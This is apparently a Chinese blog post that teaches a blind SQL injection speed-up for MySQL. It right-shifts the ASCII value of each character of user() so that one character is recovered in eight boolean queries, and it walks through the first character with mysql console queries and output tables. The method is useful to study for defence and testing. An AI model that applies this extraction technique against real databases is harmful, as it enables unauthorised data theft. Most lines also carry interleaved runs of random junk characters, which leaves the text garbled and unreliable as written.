关于通过对8bit的ascii做右位移提高mysql盲注效率

admin

通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位



下面将以查询mysql数据库当中user()的第一位为例:
( S: m7 v* V! M8 a6 I- i; i


/ a" @7 i) A5 K! [8 Tps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)

5 Z4 c  o% i# g2 m. F- E3 R

0 `% q: D+ T8 P4 M/ U9 a/ ^首先执行如下sql语句:


; I6 x* y! u; r/ q! f  d; K& p: D6 q/ P& d
mysql> select (ascii((substr(user(),1,1))) >> 7)=0;


  K* {4 v5 j4 _8 v
( c- y9 `8 L+ }: a4 A' D我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的


( E* ?( l, ]% s: h2 m
0 K! N/ H( {$ d8 w- K第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1

) w* p; O+ J4 l# U9 V  g

0 `2 G+ i" c9 G  y% B- ]% q7 x如果运算结果为1,说明第一位为0,不为1

' u# b" s  b! ^$ D- P

6 G& G( e7 l- `8 E+————————————–+

/ w# `& j3 p3 w* ~  l| (ascii((substr(user(),1,1))) >> 7)=0 |

+————————————–+
6 Z9 x0 s8 T. o; S3 ?- v
| 1 |
4 p" |' H9 Q  I; B
+————————————–+
2 O5 k3 X+ b+ b  E: K# y3 M7 `9 b2 Z
& X/ m5 Z6 m; R! z1 row in set (0.00 sec)
# T, k- j; q( N# g* Z
  m4 l4 M2 H0 Y* _这样我们就确定这个8bit的ascii的第一位为0
+ y2 }2 v5 c, d/ Z2 R5 ~. b

8 C- P- z$ f* E1 j/ |8 p# {7 J
第二次我们来做6次右偏移来确定前两位
1 j! t7 J( q* M% ]9 V# I


! V# t6 r9 X  K2 X前两位可能是01或00,即依然可以与0做比较,
8 m. [- c; k1 _5 T5 _) y
8 N$ N$ ]4 W7 dmysql> select (ascii((substr(user(),1,1))) >> 6)=0;
4 f. {) m2 n. I
6 F& Q) l( a0 ~3 r+————————————–+
- ~! G9 `( H2 T0 B  ]9 |' y
( D8 S) P! T" ]% r4 b/ Q: m| (ascii((substr(user(),1,1))) >> 6)=0 |
6 R+ v% j; a$ k5 K' i
* D9 s# _# L$ z  L' n+————————————–+
5 E1 c3 q- f7 i6 j# g
| 0 |

8 r8 y3 o+ ]+ h: A+————————————–+

1 row in set (0.00 sec)



结果为0,即第二位为1
; |: A3 C5 E+ P. D
7 T0 {7 W& Q- @) f; u; R

开始猜测前三位为010或011

: R$ Z; J) {4 O7 B

1 \! t" A6 d( S- ]1 o! K1 R" }让我们看看010和011的ascii码是多少
0 v* F  Z' F3 d
" ^1 C2 o: S8 K) R8 R0 w3 B

分别查询select b’011′ select b’010′
' f' r  ^& B2 h% i# `$ R
1 z: Y: |. ~9 c1 i9 q, Q, T) `8 p
1 X' T" B1 T  W# s
获得结果 010 = 2 011 = 3



. I& Z' V1 F! H) R  D$ ?  T执行如下sql:
, V( [: y8 O; n0 S/ ^; a# r! S. [
+ E; |" k4 b1 R8 A8 d

mysql> select (ascii((substr(user(),1,1))) >> 5)=2;
! z' g- B7 j7 S7 u  D7 ?! E
+————————————–+
3 Y, V: T- `! y1 c2 G8 e
, _; E% d& k, ~( ^# V| (ascii((substr(user(),1,1))) >> 5)=2 |

; R* [9 w. }, C% g* ?+————————————–+
3 q: H! F3 O+ F2 Q) H1 ?2 j
6 E5 `% j' n0 t) ]' l4 \| 0 |

# B0 `% D1 A" C+————————————–+
+ d4 F. v4 L4 S$ L6 w& [/ [
即前三位不为010,而是011

: C& n/ F7 ^+ k/ w3 W: m3 E- w

5 L5 v+ @; q! G1 E& ~+ `* Y直到获得最后一位



6 u0 j- r6 p) a最终结果为:01110010


& S& \; Q9 ~. @: h3 y* T, n+ e  ?
转换一下:
2 F! s4 y- ]: D# J4 ^( D  G5 Z; q

2 K! k( W# T1 Q' ?1 L0 i  p& ^9 F
! u6 A1 g7 Y" w+ n8 t, s& xselect b’01110010′


4 D& i) f  P: y4 s; g. X" Q! F  c
查询结果
) X2 b1 ^. v1 x2 I& q! G3 S
0 D$ m$ J, W* _

1 r* n) v- l! c; ]4 T3 K, V+————-+

| b’01110010′ |

+————-+
2 r1 J9 N6 n' @: N# z3 g# Q) _
| r |
7 F; ~1 e/ Y. ]
+————-+
2 X; I( _. b/ o# x6 U4 {1 P
( p5 J+ _; r/ c1 \7 t0 g1 row in set (0.00 sec)
* l7 n& m' y" _3 t' G# Y, C$ r
! b8 s) }) l& I- z+ E
8 |( Y+ q6 z& |0 t  n  G$ G
0 R: a, _4 k0 \6 B6 L% y; |这样我们就获得了user()的第一位.其它位依此类推
' g4 \6 e' Q4 a7 Q